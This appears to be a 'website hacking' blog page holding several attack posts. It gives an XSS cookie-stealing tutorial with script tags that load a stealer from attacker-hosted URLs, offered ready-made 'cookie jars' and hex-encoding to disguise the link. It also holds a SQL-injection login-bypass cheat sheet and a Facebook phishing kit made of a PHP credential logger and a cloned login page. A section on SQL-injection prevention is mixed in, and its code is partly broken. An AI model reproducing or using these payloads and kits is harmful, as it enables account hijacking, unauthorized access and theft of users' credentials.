website hacking

Showing posts with label website hacking. Show all posts

cross site scripting XSS cookie stealing tutorial

well what is a xss attack well this is the art of runing scrips in ur victoms pc you can allmost run any script in ther broswer with the right knowlge the most ideas xss is used for stealing cookies
the cookies are bits of infomation used by web servers / web sites to check who u are on on that site
if your a gest it will set a cookie saying ur a gest when u login it will replace that cookie with ur cookie that you loged in with taht will have ur login id , sometimes if its a forum ur password encrpted in md5 hash
and other stuff what the site can think of useing to make sure u are who u say u are
like session id's what exspire after a time limit what the server sets like 10 mins or 60 mins
well in the cookie it has sections that are named so when the server checks who you are
it will read bits of data like the ID and the md5 hash if its a forum most
of the time a forum will be useing the cookie prefix as defult like
nukeevo_ID and so on but the forum admin can change that .

Whats a user id? well this if you are the first to sign up to a forum ur id will be ONE because you
will be the first in the sql table ... i will talk about the sql tables latter. the admin account is
nearly allmost all the time ID 1 or 2 because of corse he wud of had to make the account first
to config the forum now when looking for this type of attack the is ways looking for this type of attack
first geting the hacker point of view of this is to run that script no matter what looking at every way
he or she can find on myspace the was useing flash files to not steal cookies because myspace filter
java script but insted rederecting to a fake login page the files for this can be found in downloads.
that was useing .swf files but the newist one for myspace is useing .mov files this is useing quicktime files
to get a url what wud be to your fake log in a good FREE server to host to run php files is
www.php1h.com you wold upload your cookie stealing scripts on taht server so you can send the users cookie
to that site and view it in the log.

ok how you cud set it up wud be

http://evilhacker.php1h.com/cookiestealer.php = this is the back bone it takes the cookie from the java script we run called XSS.js

http://evilhacker.php1h.com/log.php    = this is the log wher the cookie will be sent after the cookiestealer has sent it to the log

www.evilhacker.php1h.com/xss.js     = this is the java script that gives the cookie to the cookiestealer.php

: finidng xss attacks :
well the first way will be viewing the site and looking around for any input box's and then viewing the sorce of that site for the name of the input
box we find a xss exspoit in when looking for a xss u need to make sure that
u look at the url in the URLbar and u mite see stuff that look like
www.site.com/blah.html or .php or .cfm or .jsp ..
make sure it has the full url and if it has stuff after a ? mark add it at the end of the url like this by useing a &
www.site.com/page.php?MID=2&(NAME_OF_INPUT_BOX)=(script) so if the input box was called milk for someresion i dono why but just for this tut lets say that.and that the script will just print the words Xss on screen.

www.site.com/page.php?MID=2&MILK="><script>alert("Xss")</script>

the is "> because it tells the input box to stop reading ther and then it runs the java script
and if the input box was called cat it wud look like this

www.site.com/page.php?MID=2&cat="><script>alert("Xss")</script>

so go round a site looking for any type of input box's some times i find if a site has
send to a friend that email box some times works.

after u found it like u get a pop up with the words Xss in it then u will view sorce and look for the words XSs in a input box the basic synax for how it will look like is

<input type="hidden" name="milk" value="" />
you see and from ther you will make the url
what i will talk about at the end so after finding that a xss and ur able 2 run it in ur broswer
you wont to start runing the cookie grabing scripts in ur broswer they will look like this

www.site.com/page.php?MID=2&MILK="><script src="http://evilhacker.php1h.com/xss.js"></script>

if u sent some one that link in a email or on msn it wud run in ther broswer
to execute that java script to steal ther cookies from site.com so if you found a xss in msn.com
you wold have the cookies from msn.com

but you mite ask your self how do i swap my cookies ? well if you are useing firefox the is a add on u can install called cookie editer and
then you can edit your cookies or useing IE im sure you can edit them in internet temp files or somethink but your best bet is FF(firefox)
just remeber when u steal the cookies thay all wont be one long string thay shud be broken up in 2 names like UID,others....out ther but u will just have
to work that out for your self

sending the link to a victom can be hard work sometimes if some one sent you a link that looked like this :
www.site.com/page.php?MID=2&MILK="><script src="http://evilhacker.php1h.com/xss.js"></script>    i wudnt click it
but :P if u encrpted some of the words in that url in to hex like this
useing this table :
[img]http://62.31.49.95/asciifull.gif[/img]
you cud encrpt it to look sometink like this

%22%3E%3Cscript src=%22%http://evilhacker.php1h.com/xss.js%22>3E%3C/script%3E   = is the script encoded in hex
wud u click that insted and to send it throght msn you mite wont to add a nother & at the end and fill it with shit
like
www.site.com/page.php?MID=2&MILK=%22%3E%3Cscript src=%22%http://evilhacker.php1h.com/xss.js%22>3E%3C/script%3E&mk=12<that wud just make it think it needs to include the link the full of it the is other ways like useing .gif images to run the script on the site but thats a nother story.

well thats it for now hope you injoyed the read
VOl :v60-hackers:

:info:
i have set up some cookie jars for the people to lazzy

http://v60.php1h.com/cookiejar/xss.js
http://v60.php1h.com/cookiejar/log.php

sql injection cheat sheet

'or''='

1 OR 1=1

1' OR '1'='1

' or 1=1 or ''='

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

What is a sql injection

What is SQL Injection?
SQL Injection - \S-Q-L-in-'jek-shen\ - Noun
The technique of inputting malicious data into an SQL statement, which would therefore make the vulnerability present on the database layer.

What It Looks Like?
The vast majority of all SQL injections will take place on an input form.
The most basic of all SQL injections will look like the following:

The Basic SQL injection is :

Quote:
Variable' or 1=1--

Let’s say we have a login form. By inputting the above code, we can use our SQL injection to gain login even without proper credentials!

How’s it work?
Take a look..

Code:
SELECT * FROM users WHERE username = 'Variable' or 1=1--'

See how our code is nicely injected into the query? The result of this query will grant us access regardless of the username, since the result of “1=1? will always be true. In this case, we bypass the whole selection process.

You may have been wondering what the double dashes are for ( — ). These dashes at the end tell the SQL server to ignore the rest of the query. If the exploit isn’t being used on an SQL server, then omitting the double dashes and ending single quote will get the desired results.

Note that while this is the most standard way, it certainly isn’t the only way that malicious users will gain entry. SQL queries will differ greatly from one syntax to another.
It’s also common to see the following:

Code:
') or ('1'='1
"or "1"="1
' or '1'='1
Or 1=1--
" or 1=1--
' or 1=1--

SQL Injection: Attacking Via URLs
As we know it is possible to attack an SQL server through URL and usually much more dangerous to webmasters.
When using PHP and SQL, there is commonly a URL such as the following:

Code:
http://YourWebsite.com/page.php?id=2

By adding a little SQL to the end of the URL, we can attack on SQL server..

I think this is enough, Now Let’s finally find out how to secure your website from SQL injection.

SQL Injection Prevention: Editing Lengths Of Form Components
The first step in the process is simple: simply restrict input fields to the absolute minimum- usually anywhere from 7-12 characters is fine. Doing so will make long queries unable to be input, since the field is only enough characters for smaller queries. This will actually not prevent an SQL injection, but will make work harder for those trying to make use of one.

Note :SQL injection users can simply make a new form and remove the limits on the character length, since the length is in plain HTML and viewable (and editable) by anyone.

SQL Injection Prevention: Data Type Validation
Another good idea is to validate any data once it is received. If a user had to input an age, make sure the input is an actual number. If it was a date, make sure the date is in proper format. Again, this will not prevent an SQL injection in itself- it just makes work harder for those trying to exploit an SQL server.

Note: This is still only slowing attackers down- but isn’t it much more satisfying to have them waste their time before finding out one’s own query is impervious to harm?

SQL Injection Prevention: The Solution In Preventing SQL Attacks
We’ll accomplish this with a simple function that the developers of PHP made especially for SQL injections. We call this function mysql_real_escape_string() - take a look at it below:

Code:
$name = "John";
$name = mysql_real_escape_string($name);
$SQL = "SELECT * FROM users WHERE username = '$name'";

Although for a more practical use, we would have the $name variable pointed to a POST result, as seen below:

Code:
$name = mysql_real_escape_string($_POST['user']);

And we can even make things easier by putting it into one line:

Code:
$SQL = "SELECT * FROM users where username = "mysql_real_escape_string($POST['user']);

So what’s the output like if malicious users try to get access to our SQL server?
Their attempts may look something like this:

Code:
$malcious_input = "' OR 1'";
// The Above Is The Malicious Input. Don't Be Scared!
// With The mysql_real_escape_string() usage, the following is obtained:

\' OR 1\'
// Notice how the slashes escape the quotes! Now users can't enter malicious data

And the best part is, they just wasted their time and effort for nothing.

Lastly, note that there are libraries and classes that can help aid in the fight against SQL injection. Prepared statements are plausible as well, but as for us, we enjoy sticking to the mysql_real_escape_string() function for less headaches.

Facebook Phishing Script

Just copy the below script in notepad and save it as anyname.php

<?php

header ('Location: http://www.facebook.com');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

Don't know how to use this script for phishing tecnique than click here.

Create facebook phishing page

Copy the below html phishing page and save it as index.html and use it for phishing technique.
Don't kow how to use it than click here.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML id=facebook lang=en class=" canHaveFixedElements"

onsubmit="null"><HEAD><META content="IE=8.0000" http-equiv="X-UA-Compatible">

<TITLE>Welcome to Facebook - Log In, Sign Up or Learn More</TITLE>

<SCRIPT>function envFlush(b){function a(c){for(var d in b)c[d]=b[d];}if(window.require){require.ensure(['Env'],a);}else{Env=window.Env||{};a(Env);}}

envFlush({"ffid1":"IVblhIpx7ivqde11WL_bsg","ffid2":"GttzCcBjUCVjY_rqSzD3yQ","ffid3":"elI3dVR0VExHY0FMWnpsUE82emkzcF9O","ffid4":"OJ9QuR9MiYQgswuxG0Mw2w","ffver":63083,"user":"0","locale":"en_US","method":"GET","ps_limit":5,"ps_ratio":4,"svn_rev":489567,"vip":"69.171.229.11","static_base":"http:\/\/static.ak.fbcdn.net\/","www_base":"http:\/\/www.facebook.com\/","rep_lag":2,"fb_dtsg":"AQCgSp7S","ajaxpipe_token":"AXhmY5jh7ZnoaJUb","lhsh":"jAQFTXG3f","tracking_domain":"http:\/\/pixel.facebook.com","retry_ajax_on_network_error":"1","ajaxpipe_enabled":"1","html5_audio":"1"});</SCRIPT>

<SCRIPT>CavalryLogger=false;window._incorporate_fragment = true;window._script_path = "\/index.php";window._EagleEyeSeed="mdgV";</SCRIPT>

<META name=description

content=" Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn more about the people they meet."><LINK

rel=alternate href="http://www.facebook.com/" media=handheld><LINK

rel="shortcut icon"

href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico"><NOSCRIPT></NOSCRIPT><LINK

rel=stylesheet type=text/css

href="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/KgAfuzPx5D9.css"><LINK

rel=stylesheet type=text/css

href="http://static.ak.fbcdn.net/rsrc.php/v1/yo/r/yxkgLy_Ur_y.css">

<SCRIPT type=text/javascript

src="http://static.ak.fbcdn.net/rsrc.php/v1/yD/r/Lp_Ns2NjfvH.js"></SCRIPT>

<SCRIPT>window.Bootloader && Bootloader.done(["pQ27\/"]);</SCRIPT>

<SCRIPT type=text/javascript

src="http://static.ak.fbcdn.net/rsrc.php/v1/yZ/r/923PvYoemBG.js"

async="true"></SCRIPT>

<SCRIPT type=text/javascript

src="http://static.ak.fbcdn.net/rsrc.php/v1/y9/r/ipKsZUpaofF.js"

async="true"></SCRIPT>

<SCRIPT type=text/javascript

src="http://static.ak.fbcdn.net/rsrc.php/v1/yj/r/VHNYRANLCCy.js"

async="true"></SCRIPT>

</HEAD>

<DIV style="POSITION: absolute; WIDTH: 0px; HEIGHT: 0px; TOP: -10000px"

id=FB_HiddenContainer></DIV>

<DIV class="clearfix loggedout_menubar"><A class=lfloat

title="Go to Facebook Home" href="/"><IMG class="fb_logo img"

alt="Facebook logo"

src="http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png" width=170

height=36></A>

<FORM id=login_form onsubmit="return Event.__inlineSubmit(this,event)"

method=POST action=login.php><INPUT

value=?,?,?,?,?,?,? type=hidden name=charset_test><INPUT value=z3QAL type=hidden

name=lsd autocomplete="off"><INPUT id=locale value=en_US type=hidden name=locale

autocomplete="off">

<TBODY>

<TR>

<TD class=html7magic><LABEL for=email>Email</LABEL></TD>

<TD class=html7magic><LABEL for=pass>Password</LABEL></TD></TR>

<TR>

<TD><INPUT id=pass class=inputtext tabIndex=2 value="" type=password

name=pass></TD>

<TR>

<DIV class=uiInputLabel><INPUT id=persist_box class=uiInputLabelCheckbox

tabIndex=3 value=1 type=checkbox name=persistent><LABEL

for=persist_box>Keep me logged in</LABEL></DIV><INPUT value=0 type=hidden

name=default_persistent></TD>

<TD class=login_form_label_field><A

href="http://www.facebook.com/recover.php" rel=nofollow>Forgot your

password?</A></TD></TR></TBODY></TABLE><INPUT value=?,?,?,?,?,?,? type=hidden

name=charset_test><INPUT id=lsd value=z3QAL type=hidden name=lsd

autocomplete="off"><INPUT id=u8mwyx_6 value=-330 type=hidden name=timezone

autocomplete="off"></FORM></DIV></DIV></DIV></DIV></DIV></DIV>

<DIV class="plm title fsl fwb fcb">Facebook helps you connect and share with the

people in your life.</DIV>

<DIV class="mbm subtitle fsm fwn fcg">It's free and always will be.</DIV></DIV>

<FORM id=reg

onsubmit="return function(event){return false;}.call(this,event)!==false && Event.__inlineSubmit(this,event)"

method=post name=reg><INPUT value=8466c6978e380b70c90ead7fe65f95cf type=hidden

name=post_form_id autocomplete="off"><INPUT value=z3QAL type=hidden name=lsd

autocomplete="off"><INPUT id=reg_instance value=b4L0TiPGBMgCsLBqr6ZeK8lC

type=hidden name=reg_instance autocomplete="off"><INPUT id=locale value=en_US

type=hidden name=locale autocomplete="off"><INPUT id=terms value=on type=hidden

name=terms autocomplete="off"><INPUT id=abtest_registration_group value=1

type=hidden name=abtest_registration_group autocomplete="off"><INPUT id=referrer

type=hidden name=referrer autocomplete="off"><INPUT id=md5pass type=hidden

name=md5pass autocomplete="off"><INPUT id=validate_mx_records value=1

type=hidden name=validate_mx_records autocomplete="off"><INPUT id=asked_to_login

value=0 type=hidden name=asked_to_login autocomplete="off"><INPUT

id=ab_test_data type=hidden name=ab_test_data autocomplete="off">

<TBODY>

<TR>

<TD class=label><LABEL for=firstname>First Name:</LABEL></TD>

<TD>

<DIV class=field_container><INPUT id=firstname class=inputtext type=text

name=firstname></DIV></TD></TR>

<TR>

<TD>

<DIV class=field_container><INPUT id=lastname class=inputtext type=text

name=lastname></DIV></TD></TR>

<TR>

<TD class=label><LABEL for=reg_email__>Your Email:</LABEL></TD>

<TD>

<DIV class=field_container><INPUT id=reg_email__ class=inputtext type=text

name=reg_email__></DIV></TD></TR>

<TR>

<TD class=label><LABEL for=reg_email_confirmation__>Re-enter

Email:</LABEL></TD>

<TD>

<DIV class=field_container><INPUT id=reg_email_confirmation__

class=inputtext type=text name=reg_email_confirmation__></DIV></TD></TR>

<TR>

<TD class=label><LABEL for=reg_passwd__>New Password:</LABEL></TD>

<TD>

<DIV class=field_container><INPUT id=reg_passwd__ class=inputtext value=""

type=password name=reg_passwd__></DIV></TD></TR>

<TR>

<TD>

<DIV class=hidden_elem><SELECT><OPTION

selected></OPTION><OPTION></OPTION></SELECT><SELECT><OPTION

selected></OPTION><OPTION></OPTION></SELECT></DIV><SELECT id=sex

class=select name=sex><OPTION selected value=0>Select

Sex:</OPTION><OPTION value=1>Female</OPTION><OPTION

value=2>Male</OPTION></SELECT></DIV></TD></TR>

<TR>

<TD class=label>Birthday:</TD>

<TD>

<DIV class=field_container><SELECT id=birthday_month

onchange='return run_with(this, ["editor"], function() {editor_date_month_change(this, "birthday_day", "birthday_year");});'

name=birthday_month><OPTION selected value=-1>Month:</OPTION><OPTION

value=1>Jan</OPTION><OPTION value=2>Feb</OPTION><OPTION

value=3>Mar</OPTION><OPTION value=4>Apr</OPTION><OPTION

value=5>May</OPTION><OPTION value=6>Jun</OPTION><OPTION

value=7>Jul</OPTION><OPTION value=8>Aug</OPTION><OPTION

value=9>Sep</OPTION><OPTION value=10>Oct</OPTION><OPTION

value=11>Nov</OPTION><OPTION value=12>Dec</OPTION></SELECT> <SELECT

id=birthday_day name=birthday_day><OPTION selected

value=-1>Day:</OPTION><OPTION value=1>1</OPTION><OPTION

value=2>2</OPTION><OPTION value=3>3</OPTION><OPTION

value=4>4</OPTION><OPTION value=5>5</OPTION><OPTION

value=6>6</OPTION><OPTION value=7>7</OPTION><OPTION

value=8>8</OPTION><OPTION value=9>9</OPTION><OPTION

value=10>10</OPTION><OPTION value=11>11</OPTION><OPTION

value=12>12</OPTION><OPTION value=13>13</OPTION><OPTION

value=14>14</OPTION><OPTION value=15>15</OPTION><OPTION

value=16>16</OPTION><OPTION value=17>17</OPTION><OPTION

value=18>18</OPTION><OPTION value=19>19</OPTION><OPTION

value=20>20</OPTION><OPTION value=21>21</OPTION><OPTION

value=22>22</OPTION><OPTION value=23>23</OPTION><OPTION

value=24>24</OPTION><OPTION value=25>25</OPTION><OPTION

value=26>26</OPTION><OPTION value=27>27</OPTION><OPTION

value=28>28</OPTION><OPTION value=29>29</OPTION><OPTION

value=30>30</OPTION><OPTION value=31>31</OPTION></SELECT> <SELECT

id=birthday_year

onchange='return run_with(this, ["editor"], function() {editor_date_month_change("birthday_month","birthday_day",this);});'

name=birthday_year><OPTION selected value=-1>Year:</OPTION><OPTION

value=2011>2011</OPTION><OPTION value=2010>2010</OPTION><OPTION

value=2009>2009</OPTION><OPTION value=2008>2008</OPTION><OPTION

value=2007>2007</OPTION><OPTION value=2006>2006</OPTION><OPTION

value=2005>2005</OPTION><OPTION value=2004>2004</OPTION><OPTION

value=2003>2003</OPTION><OPTION value=2002>2002</OPTION><OPTION

value=2001>2001</OPTION><OPTION value=2000>2000</OPTION><OPTION

value=1999>1999</OPTION><OPTION value=1998>1998</OPTION><OPTION

value=1997>1997</OPTION><OPTION value=1996>1996</OPTION><OPTION

value=1995>1995</OPTION><OPTION value=1994>1994</OPTION><OPTION

value=1993>1993</OPTION><OPTION value=1992>1992</OPTION><OPTION

value=1991>1991</OPTION><OPTION value=1990>1990</OPTION><OPTION

value=1989>1989</OPTION><OPTION value=1988>1988</OPTION><OPTION

value=1987>1987</OPTION><OPTION value=1986>1986</OPTION><OPTION

value=1985>1985</OPTION><OPTION value=1984>1984</OPTION><OPTION

value=1983>1983</OPTION><OPTION value=1982>1982</OPTION><OPTION

value=1981>1981</OPTION><OPTION value=1980>1980</OPTION><OPTION

value=1979>1979</OPTION><OPTION value=1978>1978</OPTION><OPTION

value=1977>1977</OPTION><OPTION value=1976>1976</OPTION><OPTION

value=1975>1975</OPTION><OPTION value=1974>1974</OPTION><OPTION

value=1973>1973</OPTION><OPTION value=1972>1972</OPTION><OPTION

value=1971>1971</OPTION><OPTION value=1970>1970</OPTION><OPTION

value=1969>1969</OPTION><OPTION value=1968>1968</OPTION><OPTION

value=1967>1967</OPTION><OPTION value=1966>1966</OPTION><OPTION

value=1965>1965</OPTION><OPTION value=1964>1964</OPTION><OPTION

value=1963>1963</OPTION><OPTION value=1962>1962</OPTION><OPTION

value=1961>1961</OPTION><OPTION value=1960>1960</OPTION><OPTION

value=1959>1959</OPTION><OPTION value=1958>1958</OPTION><OPTION

value=1957>1957</OPTION><OPTION value=1956>1956</OPTION><OPTION

value=1955>1955</OPTION><OPTION value=1954>1954</OPTION><OPTION

value=1953>1953</OPTION><OPTION value=1952>1952</OPTION><OPTION

value=1951>1951</OPTION><OPTION value=1950>1950</OPTION><OPTION

value=1949>1949</OPTION><OPTION value=1948>1948</OPTION><OPTION

value=1947>1947</OPTION><OPTION value=1946>1946</OPTION><OPTION

value=1945>1945</OPTION><OPTION value=1944>1944</OPTION><OPTION

value=1943>1943</OPTION><OPTION value=1942>1942</OPTION><OPTION

value=1941>1941</OPTION><OPTION value=1940>1940</OPTION><OPTION

value=1939>1939</OPTION><OPTION value=1938>1938</OPTION><OPTION

value=1937>1937</OPTION><OPTION value=1936>1936</OPTION><OPTION

value=1935>1935</OPTION><OPTION value=1934>1934</OPTION><OPTION

value=1933>1933</OPTION><OPTION value=1932>1932</OPTION><OPTION

value=1931>1931</OPTION><OPTION value=1930>1930</OPTION><OPTION

value=1929>1929</OPTION><OPTION value=1928>1928</OPTION><OPTION

value=1927>1927</OPTION><OPTION value=1926>1926</OPTION><OPTION

value=1925>1925</OPTION><OPTION value=1924>1924</OPTION><OPTION

value=1923>1923</OPTION><OPTION value=1922>1922</OPTION><OPTION

value=1921>1921</OPTION><OPTION value=1920>1920</OPTION><OPTION

value=1919>1919</OPTION><OPTION value=1918>1918</OPTION><OPTION

value=1917>1917</OPTION><OPTION value=1916>1916</OPTION><OPTION

value=1915>1915</OPTION><OPTION value=1914>1914</OPTION><OPTION

value=1913>1913</OPTION><OPTION value=1912>1912</OPTION><OPTION

value=1911>1911</OPTION><OPTION value=1910>1910</OPTION><OPTION

value=1909>1909</OPTION><OPTION value=1908>1908</OPTION><OPTION

value=1907>1907</OPTION><OPTION value=1906>1906</OPTION><OPTION

value=1905>1905</OPTION></SELECT></DIV></TD></TR>

<TR>

<TD>

<DIV id=birthday_warning><A title="Click for more information"

href="/ajax/reg_birthday_help.php" rel=dialog>Why do I need to provide my

birthday?</A></DIV></TD></TR></TBODY></TABLE>

<DIV class="reg_btn clearfix"><LABEL class="uiButton uiButtonSpecial"

for=u8mwyx_3><INPUT id=u8mwyx_3 onclick=RegistrationBootloader.bootloadAndValidate(); value="Sign Up" type=submit></LABEL><SPAN

style="DISPLAY: none" id=async_status class=async_status><IMG class=img alt=""

src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif" width=16

height=11></SPAN></DIV></DIV>

<DIV>

<H2 id=security_check_header>Security Check</H2>

<DIV style="DISPLAY: none" id=captcha_response_error class=field_error>This

field is required.</DIV>

<DIV id=captcha class=captcha><INPUT id=captcha_persist_data

value=AZmBOSILTIbrNXqRCJVZLBAPMiB8kA6V-ywsaSMhZNMUgZIwYDlOvdrviSsSAk1z_C9regpQnLHfTSE9o_YQGaLskSOFgyTrAZ90UpwXBNO7u-y3lpWToTnwIkVKJMauvP5G0usAKJQ-HTYsheXutUEdyjFzt_2rfE8npUgaghZi26yW6hDhKk-MYGKtd9p6gy_AuZHqF6LzpnRj5oPzE_1lHvCE-p3M_2ky1QTvjYJKfy5IDuw58MOqXBc4zV4dp_Gu1XLQaDwsy5SUAExqc8761Vrtuqxmi42d4Exff7AMHJAIJTdVj3A6GjJHFoAyk3ZDEmovo9r_-Ms8R_TWjncweRvUtfOhNLZc96IKAFOuog

type=hidden name=captcha_persist_data autocomplete="off">

<DIV>

<DIV style="DISPLAY: none" id=recaptcha_scripts></DIV><INPUT id=captcha_session

value=SPUH_iJDntJZdIUBZzxoEQ type=hidden name=captcha_session

autocomplete="off"><INPUT id=extra_challenge_params

value=authp=nonce.tt.time.new_audio_default&psig=EWl7kcelQxh7g9ZzOJwg2V6sknI&nonce=SPUH_iJDntJZdIUBZzxoEQ&tt=BKQOEb5QB-9Np0G26u12DBm36jY&time=1324647023&new_audio_default=1

type=hidden name=extra_challenge_params autocomplete="off"><INPUT

id=recaptcha_type value=password type=hidden name=recaptcha_type

autocomplete="off">

<DIV class=recaptcha_only_if_image>Enter both words below, separated by a

space.<BR>Can't read the words below? <A id=recaptcha_reload_btn

onclick="Recaptcha.reload(); return false" href="#">Try different words</A> or

<A onclick='Recaptcha.switch_type("audio"); return false;' href="#">an audio

captcha</A>.</DIV>

<DIV style="DISPLAY: none" class=recaptcha_only_if_audio>Please enter the words

or numbers you hear.<BR><A id=recaptcha_reload_btn

onclick="Recaptcha.reload(); return false" href="#">Try different words</A> or

<A class=recaptcha_only_if_audio

onclick='Recaptcha.switch_type("image"); return false;' href="#">back to

text</A>.</DIV></DIV><SPAN id=recaptcha_play_audio></SPAN>

<DIV id=recaptcha_loading>Loading... <IMG style="WIDTH: 16px; HEIGHT: 11px"

class="captcha_loading img" alt=""

src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif"></DIV></DIV>

<DIV class=field_container><INPUT id=captcha_response type=text

name=captcha_response autocomplete="off"></DIV><A id=u8mwyx_2 class=mlm

onclick="JSCC.get('j4ef4826fab59c9f697421541').show()" href="#">What's

this?</A></DIV></DIV></DIV></DIV>

<DIV class=cancel_button_image>  </DIV><A id=cancel_button

onclick='return run_with(this, ["registration"], function() {Registration.getInstance().hide_captcha();Registration.getInstance().show_reg_form();});'

href="#">Back</A></DIV>

<DIV class="reg_btn clearfix"><LABEL class="big_input uiButton uiButtonSpecial"

for=u8mwyx_4><INPUT id=u8mwyx_4 onclick='setFormTypeABTest($("reg")); Registration.getInstance().validateForm();' value="Sign Up" type=submit></LABEL><SPAN

style="DISPLAY: none" id=captcha_async_status class=async_status><IMG class=img

alt="" src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif"

width=16 height=11></SPAN></DIV></DIV></DIV></DIV></DIV></FORM>

<DIV id=progress_wrap><IMG class=img alt=""

src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif" width=16

height=11>

<DIV id=progress_msg>Registering?</DIV></DIV></DIV>

<DIV id=reg_error_inner>An error occurred. Please try again.</DIV></DIV>

<P class=legal_tos>By clicking Sign Up, you are indicating that you have read

and agree to the <A href="/legal/terms" rel=nofollow target=_blank>Terms of

Use</A> and <A href="/policy.php" rel=nofollow target=_blank>Privacy

Policy</A>.</P></DIV>

<DIV id=reg_pages_msg class=pagesSection><A href="/pages/create.php">Create a

Page</A> for a celebrity, band or

business.</DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV>

<LI class="uiListItem uiListHorizontalItemBorder uiListHorizontalItem"><A

dir=ltr title="English (US)"

onclick='intl_set_cookie_locale("en_US", "http:\/\/www.facebook.com\/");'

href="http://www.facebook.com/">English (US)</A></LI>